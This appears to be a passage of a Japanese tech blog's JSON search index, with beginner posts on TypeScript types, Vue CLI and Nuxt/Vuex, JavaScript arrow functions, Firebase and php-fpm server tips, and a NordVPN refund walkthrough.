\u0026#34;blue\u0026#34;, 9999]; Tuple型 const human: [string, number, boolean] = [\u0026#34;man\u0026#34;, 26, true]; 配列の中身の型を制限する。\n上記の例だと、1番目はstring型、2番目はnumber型、3番目はboolean型しか受け付けない。\nEnum型 // メダルの色を列挙させておく。 // MedalColorという型ができる。 enum MedalColor { GOLD = \u0026#34;金メダル\u0026#34;, SILVER = \u0026#34;銀メダル\u0026#34;, BRONZE = \u0026#34;銅メダル\u0026#34;, } const medal = { color: MedalColor.GOLD, }; // 上で列挙した値以外はエラーとなる。 // NG。 medal.color = \u0026#34;金メダル\u0026#34;; // OK。 medal.color = MedalColor.GOLD; Enumは、Enumeration（列挙）の略。\nその名の通り、値を列挙されておいてそれ以外は受け付けない。\nAny型 let variable: any = \u0026#34;foo\u0026#34;; variable = {}; variable.bar = \u0026#34;bar\u0026#34;; any型は、なんでも入れることができる。\nつまり、素のJavaScriptと同じ。\nTypeScriptを使う意味があまりなくなるので、基本使わないこと。\nUnion型 let union: number | string = \u0026#34;Hello\u0026#34;; union = 6; 複数の型を受け付けれるようにする。\n上の例だと、|はor演算子のようにnumber型か、string型かを受け付けることができる。\nリテラル型 const foo: \u0026#34;foo\u0026#34; = \u0026#34;foo\u0026#34;; // OK const foo: \u0026#34;foo\u0026#34; = 2; // NG const foo: \u0026#34;foo\u0026#34; = false; // NG リテラル型は決まった値しか受け付けない。\n上の例のように「foo」という文字列のリテラル型しか受け付けなくなる。\nちなみに、リテラルとは、直接記述されたデータ値のこと。\n上の例では「foo」が文字列リテラル、「2」が整数リテラル、「false」が真偽値リテラルとなる。\ntypeエイリアス type StringNumber = string | number; const foobar: StringNumber = 3; 別名をつけることで、型を変数のように扱うことができる。\n関数宣言で型を使う場合 function numCheck(num1: number, num2: number): boolean { if (num1 === num2) { return true; } else { return false; } } 引数にそれぞれ型付けはする。戻り値の型付けは引数のあとに指定する。\n何も返さない関数の場合は、void型を使う。\nfunction helloWorld(): void { console.log(\u0026#34;Hello World!\u0026#34;); } undefined型とnull型 const foo: undefined = undefined; // OK const bar: null = null; // OK const baz: undefined = null; // OK const qux: null = undefined; // OK undefined型とnull型はそれぞれundefinedとnullを変数入れることができる。それ以外はエラーとなる。\n関数の変数に型付けする関数型 function NumCheck(num1: number, num2: number): boolean { if (num1 === num2) { return true; } else { return false; } } // 関数を入れる型をつける（型注釈） const tmpNumCheck: (num: number, num2: number) =\u0026gt; boolean = NumCheck; 変数へ関数を代入するときに型付けするときに明示的に記述する。\nコールバック関数に型付け function plusOne(val: number, callback: (val: number) =\u0026gt; number): void { const result = callback(val + 1); console.log(result); } plusOne(1, (val) =\u0026gt; { return val * 2; }); 前述の関数の型付け同様に、callback関数の後にセミコロンをつけて型付けを指定する。\nunknown型 let unknownValue: unknown; unknownValue = \u0026#34;foo\u0026#34;; // OK unknownValue = false; // OK unknownValue = 1; // OK let bar = unknownValue; // NG if(typeof unknownValue === \u0026#39;string\u0026#39;){ let bar = unknownValue // OK } 代入するときはany型のようになんにでも入れることができるが、他の変数に代入するなど使うときに注意が必要。\ntypeofで明示的に型のチェックを行えば、使うことができる。\nnever型 function error(msg: string): never { throw new Error(msg); } 存在する可能性がない、値を返すことがない場合に使う。\n","permalink":"https://pop-web.github.io/programming/typescript-type/","summary":"\u003cp\u003eTypeScriptの方の書き方をまとめていく。\u003c/p\u003e\n\u003ch2 id=\"boolean型\"\u003eboolean型\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003econst value: boolean;\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"number型\"\u003enumber型\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003econst num: number;\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"string型\"\u003estring型\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003econst greet: string;\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"オブジェクト型\"\u003eオブジェクト型\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003econst cat: {\n  name: string;\n  age: number;\n} = {\n  name: \u0026#34;tama\u0026#34;,\n  age: 2,\n};\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"配列型\"\u003e配列型\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003econst colors: string[] = [\u0026#34;red\u0026#34;, \u0026#34;blue\u0026#34;];\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e配列にstring型やnumber型が混在する場合はanyなどが使える。\u003c/p\u003e","title":"TypeScriptの型まとめ"},{"content":"vue create \u0026lt;プロジェクト名\u0026gt;コマンドを入力すると以下のようなエラーがでた。\ngyp: No Xcode or CLT version detected! XcodeあるいはCLTのバージョンがおかしいらしい。\n解決方法について GitHubのnode-gypにあったものを参考にした。\nsudo rm -rf $(xcode-select -print-path) sudo rm -rf /Library/Developer/CommandLineTools xcode-select --install これで再度、vue create \u0026lt;プロジェクト名\u0026gt;コマンドを入力するとエラーも出ずにプロジェクトが作成された。\n","permalink":"https://pop-web.github.io/programming/vue-js/gyp-no-xcode-or-clt-version-detected/","summary":"\u003cp\u003e\u003ccode\u003evue create \u0026lt;プロジェクト名\u0026gt;\u003c/code\u003eコマンドを入力すると以下のようなエラーがでた。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egyp: No Xcode or CLT version detected!\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eXcodeあるいはCLTのバージョンがおかしいらしい。\u003c/p\u003e","title":"Vue.jsエラー。gyp: No Xcode or CLT version detected!"},{"content":"いつもはVue.jsのフレームワークであるNuxt.jsで開発を行なっているが、Vue CLIでの開発環境の構築をしてみる。\n事前にNode.jsをインストールしておく。\nVue CLIのインストール コマンドラインを起動して、Vue CLIをインストールする。\nVue CLIは基本どこでも使えるようにしたいので、グローバルインストールする。\nよって、-gオプションをつけてインストールする。\nnpm install -g @vue/cli 終わったらバージョンの確認\nvue --version @vue/cli 4.4.1 プロジェクトの作成 以下のコマンドでプロジェクトを作成\nvue create \u0026lt;プロジェクト名\u0026gt; presetの選択肢がでるので、defaultを選択。\nVue CLI v4.4.1 ? Please pick a preset: (Use arrow keys) ❯ default (babel, eslint) Manually select features インストールが始まるので終わるまで待つ。\n開発用サーバーの起動 以下の手順のコマンドで開発用サーバーを起動する。\ncd \u0026lt;プロジェクト名\u0026gt; npm run serve http://localhost:8080/にアクセスし、ブラウザでVue CLIのデフォルト画面が表示されればOK。\n","permalink":"https://pop-web.github.io/programming/vue-js/vue-cli-install/","summary":"\u003cp\u003eいつもはVue.jsのフレームワークであるNuxt.jsで開発を行なっているが、Vue CLIでの開発環境の構築をしてみる。\u003c/p\u003e\n\u003cp\u003e事前にNode.jsをインストールしておく。\u003c/p\u003e","title":"Vue.jsの開発環境Vue CLIのインストールと初期設定"},{"content":"タイトル通りTypeScriptのインストールとJavaScriptのコンパイル方法をやっていく。\nTyepScriptのインストール Node.jsは事前にインストールされているものとする。\n以下のコマンドでTyepScriptをインストールする。\nnpm install -g typescript -gオプションはクローバルインストールでどこでもTypeScriptを使えるのようにするオプション。\nJavaScriptへのコンパイル方法 適当にtsファイルを作成する。\n・test.ts\nconst a = \u0026#34;Hello World\u0026#34;; console.log(a) これを以下のコマンドでコンパイルする\ntsc test.ts 実行するとindex.jsファイルが生成されてコンパイルがされていることが確認できる。\n・test.js\nvar a = \u0026#34;Hello World\u0026#34;; targetオプション --targetオプションで指定した仕様にトランスパイルできる。\n例えば、ES2015（ES6）仕様にしたい場合、以下のように入力する。\ntsc index.ts --target es2015 ちなみに、--targetオプションしない場合は、ES3にトラスパイルされる。\nwatchオブション --watchオプションで保存と同時に自動コンパイルしてくれる。\ntsc test.ts --watch // または tsc test.ts -w まとめてコンパイルする場合 複数のtsファイルをコンパイルする場合、まず以下のコマンドでtsconfig.jsonという設定ファイルを作成する。\ntsc --init 設定ファイルを作成してからは、tscコマンドを入力するだけでtsconfig.jsonの設定を見に行ってくれるので複数ファイルでもコンパイルすることができる。\ntsc ","permalink":"https://pop-web.github.io/programming/typescript-install/","summary":"\u003cp\u003eタイトル通りTypeScriptのインストールとJavaScriptのコンパイル方法をやっていく。\u003c/p\u003e\n\u003ch2 id=\"tyepscriptのインストール\"\u003eTyepScriptのインストール\u003c/h2\u003e\n\u003cp\u003eNode.jsは事前にインストールされているものとする。\u003c/p\u003e","title":"TypeScriptのインストールとJavaScriptへのコンパイル方法"},{"content":"Nuxt.jsで開発中に以下のエラーが出てハマった。\n[Vue warn]: Unknown custom element: \u0026lt;コンポーネント名\u0026gt; - did you register the component correctly? For recursive components, make sure to provide the \u0026#34;name\u0026#34; option. エラーメッセージにあるように、nameオプションで指定してもダメだった。\n今回の場合、原因はコンポーネント間の循環参照の記述方法だった。\nVue.jsのドキュメントのコンポーネント間の循環参照に書いてあるように、記述方法には2通りある。\nbeforeCreateでrequireを使ってコンポーネント登録するか、componentsフィールド内で importを使ってコンポーネント登録するかだ。\nNuxt.jsの場合では、requireの方でやると前述のエラーが出るが、importの方でやるとエラーは出ないようだ。\nNuxt.jsでエラーが出る記述 \u0026lt;script\u0026gt; export default { // Nuxt.jsではエラー beforeCreate() { this.$options.components.Component = require(\u0026#34;~/components/modal/Component.vue\u0026#34;).default; } }; \u0026lt;/script\u0026gt; Nuxt.jsでエラーが出ない記述 \u0026lt;script\u0026gt; export default { // Nuxt.jsでもOK Component: () =\u0026gt; import(\u0026#34;~/components/modal/Component.vue\u0026#34;) }; \u0026lt;/script\u0026gt; ","permalink":"https://pop-web.github.io/programming/vue-js/nuxt-js-unknown-custom-element/","summary":"\u003cp\u003eNuxt.jsで開発中に以下のエラーが出てハマった。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[Vue warn]: Unknown custom element: \u0026lt;コンポーネント名\u0026gt; - did you register the component correctly? For recursive components, make sure to provide the \u0026#34;name\u0026#34; option.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eエラーメッセージにあるように、nameオプションで指定してもダメだった。\u003c/p\u003e","title":"【Nuxt.js コンポーネント間の循環参照】Unknown custom elementとなる原因と解決方法"},{"content":"動的なコンポーネントについて説明する。\n開発環境ははVue CLIを使っている前提で話を進めていく。\n動的なコンポーネントの記述方法 動的にコンポーネントを切り替えるために、複数コンポーネントを用意しておく。\nそして記述方法としては、\u0026lt;component\u0026gt;要素とisプロパティを以下のように設定する。\n\u0026lt;component :is=\u0026#34;currentComponent\u0026#34;\u0026gt;\u0026lt;/component\u0026gt; currentComponentの変数名はなんでもいい、これにコンポーネント名を入れることで動的にコンポーネントを切り替えることができる。\n例として、以下は3つのコンポーネントに切り替えるコード。\nApp.vue \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;button @click=\u0026#34;currentComponent = \u0026#39;Home\u0026#39;\u0026#34;\u0026gt;Home\u0026lt;/button\u0026gt; \u0026lt;button @click=\u0026#34;currentComponent = \u0026#39;Posts\u0026#39;\u0026#34;\u0026gt;About\u0026lt;/button\u0026gt; \u0026lt;button @click=\u0026#34;currentComponent = \u0026#39;Archive\u0026#39;\u0026#34;\u0026gt;Archive\u0026lt;/button\u0026gt; \u0026lt;component :is=\u0026#34;currentComponent\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import Home from \u0026#34;./components/Home\u0026#34;; import Posts from \u0026#34;./components/Posts\u0026#34;; import Archive from \u0026#34;./components/Archive\u0026#34;; export default { components: { Home, Posts, Archive, }, data() { return { currentComponent: \u0026#34;\u0026#34;, }; }, }; \u0026lt;/script\u0026gt; ブラウザで確認。\nkees-aliveでキャッシュする 動的コンポーネントを使用した場合、コンポーネントを切り替えるとコンポーネントは一度破棄される。\n破棄せずにキャッシュしたい場合は、\u0026lt;keep-alive\u0026gt;でラップすれば良い。\n\u0026lt;keep-alive\u0026gt; \u0026lt;component :is=\u0026#34;currentComponent\u0026#34; /\u0026gt; \u0026lt;/keep-alive\u0026gt; また、\u0026lt;keep-alive\u0026gt;を使用した場合、ライフサイクルフックとしてactivatedとdeactivatedが使える。\nactivatedは、\u0026lt;keep-alive\u0026gt;内部のコンポーネントが表示された時に呼びだれて、deactivatedは非表示になったときに呼び出される。\n","permalink":"https://pop-web.github.io/programming/vue-js/dynamic-component/","summary":"\u003cp\u003e動的なコンポーネントについて説明する。\u003c/p\u003e\n\u003cp\u003e開発環境はは\u003ca href=\"https://blog.pop-web.net/programming/vue-js/vue-cli-install/\"\u003eVue CLI\u003c/a\u003eを使っている前提で話を進めていく。\u003c/p\u003e\n\u003ch2 id=\"動的なコンポーネントの記述方法\"\u003e動的なコンポーネントの記述方法\u003c/h2\u003e\n\u003cp\u003e動的にコンポーネントを切り替えるために、複数コンポーネントを用意しておく。\u003c/p\u003e","title":"Vue.jsの動的なコンポーネントの使い方"},{"content":"Google Chromeのデバッグコンソールに以下のようなエラーが出た。\nfront.js:8 Uncaught ReferenceError: browser is not defined at HTMLDocument.\u0026lt;anonymous\u0026gt; (front.js:8) 色々調べた結果、今回の場合はGoogle Chromeの拡張機能が原因だった。\nシークレットウィンドウで再度表示してみると、エラーはでない。\nどの拡張機能が原因でエラーが出ているかは各自で調べて頂きたい。\n結論→あまり気にすることではなかった。\n","permalink":"https://pop-web.github.io/programming/javascript/browser-is-not-defined-at-htmldocument/","summary":"\u003cp\u003eGoogle Chromeのデバッグコンソールに以下のようなエラーが出た。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003efront.js:8 Uncaught ReferenceError: browser is not defined at HTMLDocument.\u0026lt;anonymous\u0026gt; (front.js:8)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e色々調べた結果、今回の場合は\u003cstrong\u003eGoogle Chromeの拡張機能が原因\u003c/strong\u003eだった。\u003c/p\u003e","title":"【コンソールエラーの原因】front.js:8 Uncaught ReferenceError: browser is not defined at HTMLDocument.\u003canonymous\u003e"},{"content":"ES2015（ES6）から追加されたアロー関数だが、省略した書き方が色々あるのでまとめてみる。\nアロー関数の基本形 アロー関数は基本的には、無名関数（匿名関数）の省略記法で、その名の通り=\u0026gt;を使って関数リテラルを定義する。\nまずは基本形から。\n普通の無名関数の記述 function(params) { // 処理の内容... } アロー関数を使った無名関数の記述 (params) =\u0026gt; { // 処理の内容... } アロー関数の省略系 引数が1つの時 引数の() を省略できる params =\u0026gt; { // 処理の内容... } 引数がない時は、() を書く必要がある。\n() =\u0026gt; { // 処理の内容... } 処理の内容が1つだけの場合、{} を省略できる params =\u0026gt; returen value 値を返すだけの時、return を省略できる params =\u0026gt; value オブジェクトを返す時は() で囲む必要がある オブジェクトリテラルを返す時は、{} が関数ブロックと解釈されてしまうため () で囲む必要がある。\nconst f = param =\u0026gt; ({foo: \u0026#34;bar\u0026#34;}) console.log(f()) // { foo: \u0026#34;bar\u0026#34; } () で囲むルールが逆に見づらい場合は、素直に return でオブジェクトリテラルを返せばよい。\nconst f = param =\u0026gt; { return { foo: \u0026#34;bar\u0026#34; } } console.log(f()) // { foo: \u0026#34;bar\u0026#34; } アロー関数におけるthisの束縛について アロー関数内のthisと従来の無名関数の中のthisは違うところを指していることに注意する。\n以下のように、コードがあるとする。\nfunction Count() { this.count = 0 // \b注① setInterval(function() { this.count++ // \b注② }, 1000) } const counter = new Count() // ３秒後に呼び出すので「3」と出力されるはずだが… setTimeout(() =\u0026gt; console.log(counter.count), 3000) Count()は、1秒ごとに+1するコンストラクタである。\nそれを3秒後に呼び出すので「3」と出力されるはずだが、実際は「0」のままになる。\n注①のthisは、Count()インスタタンスのthisとして定義されるが、注②のthisは、グローバルオブジェクトのthisとして定義されるため、注①のthis.countはずっと「0」のままになる。\nこれを回避するための方法としてよく用いいられるのが、var self = thisというコードを書いて呼び出し先のthisを制御する。\nfunction Count() { this.count = 0 var self = this // 一旦、インスタタンスのthisをselfに入れる。 setInterval(function() { self.count++ // selfに変え、呼び出し元をインスタンスの方を参照するようにする。 }, 1000) } const counter = new Count() // 期待通り「3」と出力される。 setTimeout(() =\u0026gt; console.log(counter.count), 3000) ここで、アロー関数に書き方を変更すると、var self = thisは必要なくなる。\nなぜなら、アロー関数だとthisを束縛できるからである。\n「thisを束縛」とは何か？ 従来のアロー関数ではない中のthisは関数が呼び出された時点でthisが決まっていく。\nつまり、thisが確定していない。thisを束縛していないことになる。\n上のソースの例だとsetIntervalのコールバック関数として関数が実行されるためthisはクローバルオブジェクトのthisを指すことになる。\nアロー関数の場合、アロー関数内のthisは定義されて時点で確定（=束縛）する。\nそのため、アロー関数内のthisはCount()インスタタンスを指すことになる。\n先ほどコードは、以下のようにアロー関数へ書き方を変えることで期待の動作をしてくれる。\nfunction Count() { this.count = 0 setInterval(() =\u0026gt; { this.count++　// インスタンスのthisを参照する。 }, 1000) } const counter = new Count() setTimeout(() =\u0026gt; console.log(counter.count), 3000) 以上のように、従来の無名関数の書き方より、アロー関数を使った方がthisの扱いが楽になり、混乱することがなくなるので基本的にはアロー関数を使うよう慣れた方良い。\n","permalink":"https://pop-web.github.io/programming/javascript/arrow-function/","summary":"\u003cp\u003eES2015（ES6）から追加されたアロー関数だが、省略した書き方が色々あるのでまとめてみる。\u003c/p\u003e\n\u003ch2 id=\"アロー関数の基本形\"\u003eアロー関数の基本形\u003c/h2\u003e\n\u003cp\u003eアロー関数は基本的には、無名関数（匿名関数）の省略記法で、その名の通り\u003ccode\u003e=\u0026gt;\u003c/code\u003eを使って関数リテラルを定義する。\u003c/p\u003e","title":"JavaScript（ES2015）アロー関数の省略の書き方とthisの束縛について"},{"content":"Nuxt.jsで状態管理を行うライブラリであるVuexのクラシックモードとモジュールモードについて説明。\nまず、新規Nuxtプロジェクトを作成 以下、コマンドでテスト用にNuxtプロジェクトを作成しておく。\nnpx create-nuxt-app vuex-test 初期設定をどうするか聞かれるが、すべてEnterキーを押下して進めてOK。\nVuexのデータフローについて VuexにはState、Mutation、Actionといったデータフローがある。\nState（ステート） ストアの状態を保持しているところ。\nVueコンポーネントから直接操作をすることはできない。\nMutation（ミューテーション） Vuexストアの状態を唯一操作ができる。\nAction（アクション） Mutationを呼び出す役割をする。\n外部とのAPI通信したい場合はここに書く。\nまた、非同期処理を書く時もここに書く。\nVuexの2つのモード Vuexにはクラシックモードとモジュールモードの2つのモードがある。\nクラシックモードは内容を1つのファイルで管理する。（store/index.js） モジュールモードは内容を複数のファイルで管理する。（store/*.js） 大規模開発になるとモジュールモードで分けた方が管理しやすい。\nまた、クラシックモードは次のメジャーアップデートで廃止予定…\nクラシックモードで利用 まずはStateを作成する。\nState（ステート）を使う storeディレクトリ配下にindex.jsを作成して以下のように編集。\nimport Vuex from \u0026#39;vuex\u0026#39; const helloWorld = () =\u0026gt; { return new Vuex.Store({ state: function () { return { message: \u0026#39;Hello, World\u0026#39; } } }) } export default helloWorld state部分が状態を管理する値を設定するところ。\nstateの値はfunctionにするのがルールで、その中に状態管理したいデータをオブジェクト形式で設定する。\npagesディレクトリのindex.vueを以下のように編集する。\n\u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:20px;\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ $store.state.message }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; npm run devで開発モードで実行する。\nブラウザで確認し、「Hello, World」の表示ができればOK。\nMutation（ミューテーション）を使う Mutationを使ってStateの値を変更する。\nstore/index.jsを編集する。\nmutationsを追加する。\nimport Vuex from \u0026#39;vuex\u0026#39; const helloWorld = () =\u0026gt; { return new Vuex.Store({ state: function () { return { message: \u0026#39;Hello, World\u0026#39; } }, mutations: { updateData: function (state, payload) { state.message = payload } } }) } export default helloWorld functionに第二引数（payload）を設定するとは、Vueコンポーネントから値と受け取ることができる。\n次に、index.vueにmutationsに処理をさせるボタンを設置する。\n\u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:20px;\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ $store.state.message }}\u0026lt;/p\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;button @click=\u0026#34;$store.commit(\u0026#39;updateData\u0026#39;, \u0026#39;send mutations\u0026#39;)\u0026#34;\u0026gt; mutations！ \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; $store.commitの第二引数に渡したい値を入れる。\nブラウザで確認して、ボタンをクリックすると「send mutations」と表示が切り替わればOK。\nAction（アクション）を使う store/index.jsを編集する。\nactionsを追加する。\nimport Vuex from \u0026#39;vuex\u0026#39; const helloWorld = () =\u0026gt; { return new Vuex.Store({ state: function () { return { message: \u0026#39;Hello, World\u0026#39; } }, mutations: { updateData: function (state, payload) { state.message = payload } }, actions: { updateDataAction(context) { context.commit(\u0026#39;updateData\u0026#39;, \u0026#39;send actions\u0026#39;) } } }) } export default helloWorld 次にindex.vueを編集してactionsを実行できるようにする。\n$store.commitを$store.dispatchに変更。\n\u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:20px;\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ $store.state.message }}\u0026lt;/p\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;button @click=\u0026#34;$store.dispatch(\u0026#39;updateDataAction\u0026#39;)\u0026#34;\u0026gt; actions！ \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; ブラウザで確認して、ボタンをクリックすると「send actions」と表示が切り替わればOK。\nさらに、$store.dispatchの第二引数に値を渡すこともできる。\nindex.vueを以下のように変更\n\u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:20px;\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ $store.state.message }}\u0026lt;/p\u0026gt; \u0026lt;br /\u0026gt; \u0026lt;button @click=\u0026#34;$store.dispatch(\u0026#39;updateDataAction\u0026#39;,\u0026#39;add value\u0026#39;)\u0026#34;\u0026gt; actions！ \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; store/index.jsでも値を受け取れるように設定。\nimport Vuex from \u0026#39;vuex\u0026#39; const helloWorld = () =\u0026gt; { return new Vuex.Store({ state: function () { return { message: \u0026#39;Hello, World\u0026#39; } }, mutations: { updateData: function (state, payload) { state.message = payload } }, actions: { updateDataAction(context, payload) { context.commit(\u0026#39;updateData\u0026#39;, payload) } } }) } export default helloWorld ブラウザで確認して、ボタンをクリックすると「add value」と表示が切り替わればOK。\nモジュールモードで利用 今まで記述してきたクラシックモードをモジュールモードに変換していく。\nモジュールモードを有効になる条件として、store/index.jsをexportしないこと、又はstore/index.js自体が存在しないことがあげられる。\nstoreディレクトリ配下に、jsファイルをおくことモジュールとして自動登録される。\nモジュール名も作成したファイル名となる。\nモジュールモードのファイルを作成 storeディレクトリ配下にhelloworld.jsを作成し、クラシックモードからモジュールモードに書き換えるよう、以下のように編集する。\nexport const state = () =\u0026gt; ({ message: \u0026#39;Hello, World\u0026#39; }) export const mutations = { updateData: function (state, payload) { state.message = payload } } export const actions = { updateDataAction(context, payload) { context.commit(\u0026#39;updateData\u0026#39;, payload) } } 次に、index.vueの編集もする。\n\u0026lt;template\u0026gt; \u0026lt;div style=\u0026#34;padding:20px;\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ $store.state.helloworld.message }}\u0026lt;/p\u0026gt; //$store.stateの後に『helloworld.』を追加 \u0026lt;br /\u0026gt; \u0026lt;button @click=\u0026#34;$store.dispatch(\u0026#39;helloworld/updateDataAction\u0026#39;, \u0026#39;add value\u0026#39;)\u0026#34; // 『helloworld/』を追加 \u0026gt; actions！ \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 最後にいらなくなった、store/index.jsを削除。\n最後に、ブラウザで確認して、ボタンをクリックすると「Hello, World」が「add value」へと表示が切り替わればOK。\n","permalink":"https://pop-web.github.io/programming/vue-js/nuxt-js-vuex/","summary":"\u003cp\u003eNuxt.jsで状態管理を行うライブラリであるVuexのクラシックモードとモジュールモードについて説明。\u003c/p\u003e\n\u003ch2 id=\"まず新規nuxtプロジェクトを作成\"\u003eまず、新規Nuxtプロジェクトを作成\u003c/h2\u003e\n\u003cp\u003e以下、コマンドでテスト用にNuxtプロジェクトを作成しておく。\u003c/p\u003e","title":"【初心者向け】Nuxt.jsでのVuexのクラシックモードとモジュールモードについて"},{"content":"Firebase CLIを使ってHostingへデプロイしたサイトを削除したい場合は、以下のコマンドを入力すれば良い。\nfirebase hosting:disable 該当ドメインでアクセスし「Site Not Found」になっていることをブラウザで確認する。\nHostingのダッシュボードへ移動して、リリース履歴をみると縦3つのドットのメニューが出現している。\nそこの「削除」を実行することでファイルを完全削除できる。\n","permalink":"https://pop-web.github.io/server/firebase-deploy-remove/","summary":"\u003cp\u003eFirebase CLIを使ってHostingへデプロイしたサイトを削除したい場合は、以下のコマンドを入力すれば良い。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003efirebase hosting:disable\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e該当ドメインでアクセスし「Site Not Found」になっていることをブラウザで確認する。\u003c/p\u003e","title":"Firebaseへデプロイしたサイトを削除する方法"},{"content":"Nginxでphp-fpmサーバーを使っている場合、php.iniの編集やPHPのモジュールを追加の反映は以下のコマンドでphp-fpmを再起動する。\nsystemctl restart php-fpm Apacheとは違ってWebサーバー（Nginx）をを再起動しても設定は反映されないので注意。\n","permalink":"https://pop-web.github.io/server/linux/nginx-php-ini-php-fpm/","summary":"\u003cp\u003eNginxでphp-fpmサーバーを使っている場合、php.iniの編集やPHPのモジュールを追加の反映は以下のコマンドでphp-fpmを再起動する。\u003c/p\u003e","title":"Nginxでphp.iniの更新やモジュールを追加した場合、systemctl restart php-fpmで反映"},{"content":"この言葉は、聖徳太子が作った『十七条憲法』 の中の一文。\n『自分が必ずしも他正しいとは言えない、彼が必ずしも間違っているとは言えない、お互い間違いばかりをしてしまう人間同士なんだから』\n人間はいつも自分の考えが正しいと自惚れがちである。\nこれが怒りの原因になってしまう。\n『自分が言っていることが絶対正しいんだー！』みたいな場面は、往々にしてある。\nだから、自惚れてしまわないように気を付けようねってこと。\n","permalink":"https://pop-web.github.io/kingen/ware-kanarazushimo/","summary":"\u003cp\u003eこの言葉は、聖徳太子が作った『十七条憲法』 の中の一文。\u003c/p\u003e\n\u003cp\u003e『\u003cstrong\u003e自分が必ずしも他正しいとは言えない、彼が必ずしも間違っているとは言えない、お互い間違いばかりをしてしまう人間同士なんだから\u003c/strong\u003e』\u003c/p\u003e","title":"我必ずしも聖（せい）に非（あら）ず、彼必ずしも愚（ぐ）に非ず、共に是（こ）れ凡夫（ぼんぷ）のみ"},{"content":"当方、MacでcNordVPNを使ってみたが、Amazonにアクセスできなかったり、使っているとブツブツ接続が切れてしまうので解約することにした。\n解約することに決めたのはいいが、連絡は英語になる。\n英語は苦手だが、Google翻訳などを駆使して解約した経緯を記しておく。\nまず自動支払いを解除 公式サイトのログインして、ダッシュボード画面の**「Cancel automatic payments」**をクリック。\n次に、アラート画面がでるが**「Confirm Cancellation」**をクリックすれば自動支払いの解除は完了。\nチャットで返金依頼の連絡をする 右下の「？」をクリック。\nSupportのウィンドウが開くので、下の**「CHAT」**をクリック。\n「Introduce yurself」に、名前とメールアドレスを入力し、\n「Choose a topic」は「2. Billing」（課金）を選択。\n「Messege」には『Please refund because I want to cancel.』（キャンセルしたいので返金お願いします）と入力して**「Start chatting」**をクリック。\nすると、カスタマースタッフとつながる。\nすぐに返信を返してくれる。\n色々、英文を送られてくるがGoogle翻訳とか使えばOK。\n『どうして解約したいの？』\n『私たちのサービスに何か問題ありましたか？』\nなどいった意味の文章が送られてくるが、\nシンプルに、『Please refund because it is no longer used』（もう使わないから返金お願いします。）と返せば良い。\nそうすると、\n「あなたのアカウント確認するからちょっと待ってて」を返ってくるので待つ。\n待ってると、「5~10営業日に返金するよ」と連絡が来る。\nこれで返金の手続きは終わり。\n返金の手続きは英語で面倒だが、特に引き止められたり勧誘することはなかった。\n今後、VPNサービスは固定IPアドレスが使えることから国内サービスであるマイIPを使うことにした。\n","permalink":"https://pop-web.github.io/network/nordvpn-cancel/","summary":"\u003cp\u003e当方、MacでcNordVPNを使ってみたが、Amazonにアクセスできなかったり、使っているとブツブツ接続が切れてしまうので解約することにした。\u003c/p\u003e","title":"NordVPN解約・返金方法、画像付き説明と簡単な英語での返信文など"},{"content":"WordPressサイトヘルスチェックの「1つ以上の推奨モジュールが存在しません」の中で、**「オプションのモジュール zip がインストールされていないか、無効化されています。」**と出たのでzipモジュールを入れることにした。\n環境は以下\nさくらのVPS CentOS 7 Nginx 1.17 PHP 7.4 MariaDB ※VPSでなくレンタルサーバーサービスならコントールパネルといった管理画面から簡単に入れられると思う。\nzipモジュールは、php-pecl-zipを入れればよい。\nyum --enablerepo=remi,remi-php74 install php-pecl-zip 最後に、php-fpmを再起動。\nsystemctl restart php-fpm WordPressの管理画面に戻って、テスト通過されていることが確認できればOK。\n","permalink":"https://pop-web.github.io/programming/wordpress-site-health-check-zip/","summary":"\u003cp\u003eWordPressサイトヘルスチェックの「1つ以上の推奨モジュールが存在しません」の中で、**「オプションのモジュール zip がインストールされていないか、無効化されています。」**と出たのでzipモジュールを入れることにした。\u003c/p\u003e","title":"【WordPressサイトヘルス解決】オプションのモジュールzipがインストールされていないか、無効化されています。"},{"content":"WordPressサイトヘルスチェックの「1つ以上の推奨モジュールが存在しません」の中で、**「オプションのモジュール imagick 